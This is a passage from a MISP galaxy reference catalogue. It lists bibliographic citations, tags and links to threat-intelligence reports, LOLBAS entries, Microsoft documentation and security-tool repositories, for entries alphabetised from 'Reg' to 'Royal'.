The tag is: *misp-galaxy:references="Microsoft Reg"*

Table 22742. Table References

Links
https://technet.microsoft.com/en-us/library/cc732643.aspx

LOLBAS Regasm

LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.

The tag is: *misp-galaxy:references="LOLBAS Regasm"*

Table 22743. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Regasm/

MSDN Regasm

Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.

The tag is: *misp-galaxy:references="MSDN Regasm"*

Table 22744. Table References

Links
https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx

Microsoft RegDelNull July 2016

Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.

The tag is: *misp-galaxy:references="Microsoft RegDelNull July 2016"*

Table 22745. Table References

Links
https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull

Regedit.exe - LOLBAS Project

LOLBAS. (2018, May 25). Regedit.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Regedit.exe - LOLBAS Project"*

Table 22746. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Regedit/

Fortinet reGeorg MAR 2019

FortiGard Labs. (2019, March 12). ReGeorg.HTTP.Tunnel. Retrieved December 3, 2024.

The tag is: *misp-galaxy:references="Fortinet reGeorg MAR 2019"*

Table 22747. Table References

Links
https://www.fortiguard.com/encyclopedia/ips/47584/regeorg-http-tunnel

GitHub reGeorg 2016

xl7dev. (2016). reGeorg-master. Retrieved December 3, 2024.

The tag is: *misp-galaxy:references="GitHub reGeorg 2016"*

Table 22748. Table References

Links
https://github.com/xl7dev/WebShell/tree/master/reGeorg-master

Reg.exe - LOLBAS Project

LOLBAS. (2018, May 25). Reg.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Reg.exe - LOLBAS Project"*

Table 22749. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Reg/

Microsoft Reghide NOV 2006

Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.

The tag is: *misp-galaxy:references="Microsoft Reghide NOV 2006"*

Table 22750. Table References

Links
https://docs.microsoft.com/sysinternals/downloads/reghide

Regini.exe - LOLBAS Project

LOLBAS. (2020, July 3). Regini.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Regini.exe - LOLBAS Project"*

Table 22751. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Regini/

Register-cimprovider.exe - LOLBAS Project

LOLBAS. (2018, May 25). Register-cimprovider.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Register-cimprovider.exe - LOLBAS Project"*

Table 22752. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/

Microsoft Registry

Microsoft. (2018, May 31). Registry. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="Microsoft Registry"*

Table 22753. Table References

Links

https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry

Tilbury 2014

Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Tilbury 2014"*

Table 22754. Table References

Links
https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/

Microsoft COR_PROFILER Feb 2013

Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.

The tag is: *misp-galaxy:references="Microsoft COR_PROFILER Feb 2013"*

Table 22755. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)

Microsoft Registry Auditing Aug 2016

Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.

The tag is: *misp-galaxy:references="Microsoft Registry Auditing Aug 2016"*

Table 22756. Table References

Links
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)

MSDN Registry Key Security

Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.

The tag is: *misp-galaxy:references="MSDN Registry Key Security"*

Table 22757. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx

Registry Key Security

Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.

The tag is: *misp-galaxy:references="Registry Key Security"*

Table 22758. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN

Microsoft Registry Drivers

Microsoft. (2021, December 14). Registry Trees for Devices and Drivers. Retrieved March 28, 2023.

The tag is: *misp-galaxy:references="Microsoft Registry Drivers"*

Table 22759. Table References

Links
https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys

Microsoft System Wide Com Keys

Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Microsoft System Wide Com Keys"*

Table 22760. Table References

Links
https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx

LOLBAS Regsvcs

LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.

The tag is: *misp-galaxy:references="LOLBAS Regsvcs"*

Table 22761. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/

MSDN Regsvcs

Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.

The tag is: *misp-galaxy:references="MSDN Regsvcs"*

Table 22762. Table References

Links
https://msdn.microsoft.com/en-us/library/04za0hca.aspx

LOLBAS Regsvr32

LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.

The tag is: *misp-galaxy:references="LOLBAS Regsvr32"*

Table 22763. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/

Fortinet Remcos Feb 2017

Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.

The tag is: *misp-galaxy:references="Fortinet Remcos Feb 2017"*

Table 22764. Table References

Links
https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html

Mandiant Remediation and Hardening Strategies for Microsoft 365

Mandiant. (2022, August). Remediation and Hardening Strategies for Microsoft 365 to Defend Against APT29. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Mandiant Remediation and Hardening Strategies for Microsoft 365"*

Table 22765. Table References

Links
https://www.mandiant.com/sites/default/files/2022-08/remediation-hardening-strategies-for-m365-defend-against-apt29-white-paper.pdf

Mandiant Defend UNC2452 White Paper

Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.

The tag is: *misp-galaxy:references="Mandiant Defend UNC2452 White Paper"*

Table 22766. Table References

Links
https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452

Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452

Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021.

The tag is: *misp-galaxy:references="Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452"*

Table 22767. Table References

Links
https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html

TechNet Remote Desktop Services

Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.

The tag is: *misp-galaxy:references="TechNet Remote Desktop Services"*

Table 22768. Table References

Links
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx

Remote.exe - LOLBAS Project

LOLBAS. (2021, June 1). Remote.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Remote.exe - LOLBAS Project"*

Table 22769. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/

Microsoft Remote Use of Local

Margosis, A.. (2018, December 10). Remote Use of Local Accounts: LAPS Changes Everything. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="Microsoft Remote Use of Local"*

Table 22770. Table References

Links
https://blogs.technet.microsoft.com/secguide/2018/12/10/remote-use-of-local-accounts-laps-changes-everything/

SigmaHQ

Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022.

The tag is: *misp-galaxy:references="SigmaHQ"*

Table 22771. Table References

Links
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml

mac security virus popup

David Balaban. (2022, October 7). Remove Guroshied virus popup from Mac. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="mac security virus popup"*

Table 22772. Table References

Links
https://macsecurity.net/view/543-remove-guroshied-mac

disable_win_evt_logging

Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.

The tag is: *misp-galaxy:references="disable_win_evt_logging"*

Table 22773. Table References

Links
https://ptylu.github.io/content/report/report.html?report=25

Microsoft Replace Process Token

Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.

The tag is: *misp-galaxy:references="Microsoft Replace Process Token"*

Table 22774. Table References

Links
https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token

Replace.exe - LOLBAS Project

LOLBAS. (2018, May 25). Replace.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Replace.exe - LOLBAS Project"*

Table 22775. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Replace/

Bugcrowd Replay Attack

Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.

The tag is: *misp-galaxy:references="Bugcrowd Replay Attack"*

Table 22776. Table References

Links
https://www.bugcrowd.com/glossary/replay-attack/

Mac Forwarding Rules

Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.

The tag is: *misp-galaxy:references="Mac Forwarding Rules"*

Table 22777. Table References

Links
https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac

GitHub Reptile

Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="GitHub Reptile"*

Table 22778. Table References

Links
https://github.com/f0rb1dd3n/Reptile

Cyble

Cyble. (2024, September 9). Reputation Hijacking with JamPlus: A Maneuver to Bypass Smart App Control (SAC). Retrieved March 21, 2025.

The tag is: *misp-galaxy:references="Cyble"*

Table 22779. Table References

Links
https://cyble.com/blog/reputation-hijacking-with-jamplus-a-maneuver-to-bypass-smart-app-control-sac/

AWS Temporary Security Credentials

AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="AWS Temporary Security Credentials"*

Table 22780. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html

ARS Technica China Hack SK April 2017

Sean Gallagher. (2017, April 21). Researchers claim China trying to hack South Korea missile defense efforts. Retrieved October 17, 2021.

The tag is: *misp-galaxy:references="ARS Technica China Hack SK April 2017"*

Table 22781. Table References

Links
https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/

Wired SandCat Oct 2019

Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="Wired SandCat Oct 2019"*

Table 22782. Table References

Links
https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec

Vincens AcidPour 2024

A.J. Vincens, CyberScoop. (2024, March 18). Researchers spot updated version of malware that hit Viasat. Retrieved March 25, 2024.

The tag is: *misp-galaxy:references="Vincens AcidPour 2024"*

Table 22783. Table References

Links
https://cyberscoop.com/viasat-malware-wiper-acidrain/

MSitPros CMSTP Aug 2017

Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="MSitPros CMSTP Aug 2017"*

Table 22784. Table References

Links
https://msitpros.com/?p=3960

sentinellabs resource named fork 2020

Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="sentinellabs resource named fork 2020"*

Table 22785. Table References

Links
https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/

GitHub Responder

Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.

The tag is: *misp-galaxy:references="GitHub Responder"*

Table 22786. Table References

Links
https://github.com/SpiderLabs/Responder

Mandiant UNC2589 March 2022

Sadowski, J; Hall, R. (2022, March 4). Responses to Russia's Invasion of Ukraine Likely to Spur Retaliation. Retrieved June 9, 2022.

The tag is: *misp-galaxy:references="Mandiant UNC2589 March 2022"*

Table 22787. Table References

Links
https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation

CrowdStrike BGH Ransomware 2021

Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.

The tag is: *misp-galaxy:references="CrowdStrike BGH Ransomware 2021"*

Table 22788. Table References

Links
https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/

Google - Restore Cloud Snapshot

Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="Google - Restore Cloud Snapshot"*

Table 22789. Table References

Links
https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots

Google Instances Resource

Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.

The tag is: *misp-galaxy:references="Google Instances Resource"*

Table 22790. Table References

Links
https://cloud.google.com/compute/docs/reference/rest/v1/instances

Secureworks IRON LIBERTY July 2019

Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.

The tag is: *misp-galaxy:references="Secureworks IRON LIBERTY July 2019"*

Table 22791. Table References

Links
https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector

Palo Alto Retefe

Levene, B., Falcone, R., Grunzweig, J., Lee, B., Olson, R. (2015, August 20). Retefe Banking Trojan Targets Sweden, Switzerland and Japan. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="Palo Alto Retefe"*

Table 22792. Table References

Links
https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/

AWS Secrets Manager

AWS. (n.d.). Retrieve secrets from AWS Secrets Manager. Retrieved September 25, 2023.

The tag is: *misp-galaxy:references="AWS Secrets Manager"*

Table 22793. Table References

Links
https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html

Directory Services Internals DPAPI Backup Keys Oct 2015

Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.

The tag is: *misp-galaxy:references="Directory Services Internals DPAPI Backup Keys Oct 2015"*

Table 22794. Table References

Links
https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/

Malwarebytes RokRAT VBA January 2021

Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022.

The tag is: *misp-galaxy:references="Malwarebytes RokRAT VBA January 2021"*

Table 22795. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/

TCC Database

Marina Liang. (2024, April 23). Return of the mac(OS): Transparency, Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="TCC Database"*

Table 22796. Table References

Links
https://interpressecurity.com/resources/return-of-the-macos-tcc/

jRAT Symantec Aug 2018

Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.

The tag is: *misp-galaxy:references="jRAT Symantec Aug 2018"*

Table 22797. Table References

Links

https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques

Sygnia Emperor Dragonfly October 2022

Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.

The tag is: *misp-galaxy:references="Sygnia Emperor Dragonfly October 2022"*

Table 22798. Table References

Links
https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group

Morphisec Snip3 May 2021

Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.

The tag is: *misp-galaxy:references="Morphisec Snip3 May 2021"*

Table 22799. Table References

Links
https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader

Microsoft DUBNIUM June 2016

Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021.

The tag is: *misp-galaxy:references="Microsoft DUBNIUM June 2016"*

Table 22800. Table References

Links
https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/

Microsoft DUBNIUM Flash June 2016

Microsoft. (2016, June 20). Reverse-engineering DUBNIUM’s Flash-targeting exploit. Retrieved March 31, 2021.

The tag is: *misp-galaxy:references="Microsoft DUBNIUM Flash June 2016"*

Table 22801. Table References

Links

https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/

Microsoft DUBNIUM July 2016

Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021.

The tag is: *misp-galaxy:references="Microsoft DUBNIUM July 2016"*

Table 22802. Table References

Links
https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/

CSRB LAPSUS$ July 24 2023

Cyber Safety Review Board. (2023, July 24). Review of the Attacks Associated with LAPSUS$ and Related Threat Groups. Retrieved November 16, 2023.

The tag is: *misp-galaxy:references="CSRB LAPSUS$ July 24 2023"*

Table 22803. Table References

Links
https://www.cisa.gov/sites/default/files/2023-08/CSRB_Lapsus%24_508c.pdf

Intel 471 REvil March 2020

Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="Intel 471 REvil March 2020"*

Table 22804. Table References

Links
https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/

BleepingComputer REvil 2021

Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows Safe Mode’ encryption mode. Retrieved June 23, 2021.

The tag is: *misp-galaxy:references="BleepingComputer REvil 2021"*

Table 22805. Table References

Links
https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/

Secureworks REvil September 2019

Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="Secureworks REvil September 2019"*

Table 22806. Table References

Links
https://www.secureworks.com/research/revil-sodinokibi-ransomware

Secureworks GandCrab and REvil September 2019

Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="Secureworks GandCrab and REvil September 2019"*

Table 22807. Table References

Links
https://www.secureworks.com/blog/revil-the-gandcrab-connection

Enigma Reviving DDE Jan 2018

Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.

The tag is: *misp-galaxy:references="Enigma Reviving DDE Jan 2018"*

Table 22808. Table References

Links
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee

GitHub Revoke-Obfuscation

Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.

The tag is: *misp-galaxy:references="GitHub Revoke-Obfuscation"*

Table 22809. Table References

Links
https://github.com/danielbohannon/Revoke-Obfuscation

FireEye Revoke-Obfuscation July 2017

Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Revoke-Obfuscation July 2017"*

Table 22810. Table References

Links
https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf

Recorded Future Rhadamanthys September 26 2024

Insikt Group. (2024, September 26). Rhadamanthys Stealer Adds Innovative AI Feature in Version 0.7.0. Retrieved October 14, 2024.

The tag is: *misp-galaxy:references="Recorded Future Rhadamanthys September 26 2024"*

Table 22811. Table References

Links
https://go.recordedfuture.com/hubfs/reports/mtp-2024-0926.pdf

Cyble January 12 2023

Cybleinc. (2023, January 12). RhadaManthys Stealer Spreading Via Google Ads Key Insights. Retrieved May 29, 2025.

The tag is: *misp-galaxy:references="Cyble January 12 2023"*

Table 22812. Table References

Links
https://cyble.com/blog/rhadamanthys-new-stealer-spreading-through-google-ads/

HC3 Analyst Note Rhysida Ransomware August 2023

Health Sector Cybersecurity Coordination Center (HC3). (2023, August 4). Rhysida Ransomware. Retrieved August 11, 2023.

The tag is: *misp-galaxy:references="HC3 Analyst Note Rhysida Ransomware August 2023"*

Table 22813. Table References

Links
https://www.hhs.gov/sites/default/files/rhysida-ransomware-sector-alert-tlpclear.pdf

SentinelOne Rhysida June 29 2023

Alex Delamotte, Jim Walter. (2023, June 29). Rhysida Ransomware | RaaS Crawls Out of Crimeware Undergrowth to Attack Chilean Army. Retrieved August 11, 2023.

The tag is: *misp-galaxy:references="SentinelOne Rhysida June 29 2023"*

Table 22814. Table References

Links
https://www.sentinelone.com/blog/rhysida-ransomware-raas-crawls-out-of-crimeware-undergrowth-to-attack-chilean-army/

Prodaft RIG February 2023

PTI Team. (2023, February 27). [RIG] RIG Exploit Kit: In-Depth Analysis. Retrieved May 8, 2023.

The tag is: *misp-galaxy:references="Prodaft RIG February 2023"*

Table 22815. Table References

Links
https://www.prodaft.com/resource/detail/rig-rig-exploit-kit-depth-analysis

Microsoft XorDdos Linux Stealth 2022

Microsoft Threat Intelligence. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.

The tag is: *misp-galaxy:references="Microsoft XorDdos Linux Stealth 2022"*

Table 22816. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/

httrack_unhcr

RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.

The tag is: *misp-galaxy:references="httrack_unhcr"*

Table 22817. Table References

Links
https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/

US-CERT Alert TA13-175A Risks of Default Passwords on the Internet

US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.

The tag is: *misp-galaxy:references="US-CERT Alert TA13-175A Risks of Default Passwords on the Internet"*

Table 22818. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA13-175A

Mandiant ROADSWEEP August 2022

Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.

The tag is: *misp-galaxy:references="Mandiant ROADSWEEP August 2022"*

Table 22819. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/

ROADtools Github

Dirk-jan Mollema. (2022, January 31). ROADtools. Retrieved January 31, 2022.

The tag is: *misp-galaxy:references="ROADtools Github"*

Table 22820. Table References

Links
https://github.com/dirkjanm/ROADtools

Harmj0y Roasting AS-REPs Jan 2017

HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.

The tag is: *misp-galaxy:references="Harmj0y Roasting AS-REPs Jan 2017"*

Table 22821. Table References

Links
https://blog.harmj0y.net/activedirectory/roasting-as-reps/

Register Robots TXT 2015

Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.

The tag is: *misp-galaxy:references="Register Robots TXT 2015"*

Table 22822. Table References

Links
https://www.theregister.com/2015/05/19/robotstxt/

Anomali Rocke March 2019

Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.

The tag is: *misp-galaxy:references="Anomali Rocke March 2019"*

Table 22823. Table References

Links
https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang

Talos Rocke August 2018

Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020.

The tag is: *misp-galaxy:references="Talos Rocke August 2018"*

Table 22824. Table References

Links
https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html

Check Point Rocket Kitten

Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.

The tag is: *misp-galaxy:references="Check Point Rocket Kitten"*

Table 22825. Table References

Links
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf

NCCGroup RokRat Nov 2018

Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020.

The tag is: *misp-galaxy:references="NCCGroup RokRat Nov 2018"*

Table 22826. Table References

Links
https://research.nccgroup.com/2018/11/08/rokrat-analysis/

Talos ROKRAT 2

Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.

The tag is: *misp-galaxy:references="Talos ROKRAT 2"*

Table 22827. Table References

Links
https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html

Kubernetes RBAC

Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Kubernetes RBAC"*

Table 22828. Table References

Links
https://kubernetes.io/docs/concepts/security/rbac-good-practices/

Google Cloud Service Account Authentication Roles

Google Cloud. (n.d.). Roles for service account authentication. Retrieved July 10, 2023.

The tag is: *misp-galaxy:references="Google Cloud Service Account Authentication Roles"*

Table 22829. Table References

Links
https://cloud.google.com/iam/docs/service-account-permissions

ESET RomCom November 26 2024

Damien Schaeffer, Romain Dumont. (2024, November 26). RomCom exploits Firefox and Windows zero days in the wild. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="ESET RomCom November 26 2024"*

Table 22830. Table References

Links
https://www.welivesecurity.com/en/eset-research/romcom-exploits-firefox-and-windows-zero-days-in-the-wild/

CybersecurityNews May 5 2025

Tushar Subhra Dutta. (2025, May 5). RomCom RAT Attacking UK Organizations Via Customer Feedback Portals. Retrieved May 5, 2025.

The tag is: *misp-galaxy:references="CybersecurityNews May 5 2025"*

Table 22831. Table References

Links
https://cybersecuritynews.com/romcom-rat-attacking-uk-organizations/

BBC-Ronin

Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="BBC-Ronin"*

Table 22832. Table References

Links
https://www.bbc.com/news/technology-60933174

Wikipedia Root Certificate

Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.

The tag is: *misp-galaxy:references="Wikipedia Root Certificate"*

Table 22833. Table References

Links
https://en.wikipedia.org/wiki/Root_certificate

Wikipedia Rootkit

Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.

The tag is: *misp-galaxy:references="Wikipedia Rootkit"*

Table 22834. Table References

Links
https://en.wikipedia.org/wiki/Rootkit

Sekoia HideDRV Oct 2016

Rascagnères, P.. (2016, October 27). Rootkit analysis: Use case on HideDRV. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Sekoia HideDRV Oct 2016"*

Table 22835. Table References

Links
https://web.archive.org/web/20180202163754/http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf

RotaJakiro 2021 netlab360 analysis

Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.

The tag is: *misp-galaxy:references="RotaJakiro 2021 netlab360 analysis"*

Table 22836. Table References

Links
https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/

netlab360 rotajakiro vs oceanlotus

Alex Turing. (2021, May 6). RotaJakiro, the Linux version of the OceanLotus. Retrieved June 14, 2023.

The tag is: *misp-galaxy:references="netlab360 rotajakiro vs oceanlotus"*

Table 22837. Table References

Links
https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/

TechNet Route

Microsoft. (n.d.). Route. Retrieved April 17, 2016.

The tag is: *misp-galaxy:references="TechNet Route"*

Table 22838. Table References

Links
https://technet.microsoft.com/en-us/library/bb490991.aspx

Lumen KVBotnet 2023

Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.

The tag is: *misp-galaxy:references="Lumen KVBotnet 2023"*

Table 22839. Table References

Links
https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/

U.S. HHS Royal & BlackCat Alert

Health Sector Cybersecurity Coordination Center (HC3). (2023, January 12). Royal & BlackCat Ransomware: The Threat to the Health Sector. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="U.S. HHS Royal & BlackCat Alert"*

Table 22840. Table References

Links
https://www.cisa.gov/sites/default/files/srware/royal-blackcat-ransomware-tlpclear.pdf

Kroll Royal Ransomware February 13 2023

Laurie Iacono, Keith Wojcieszek, George Glass. (2023, February 13). Royal Ransomware Deep Dive. Retrieved June 17, 2024.

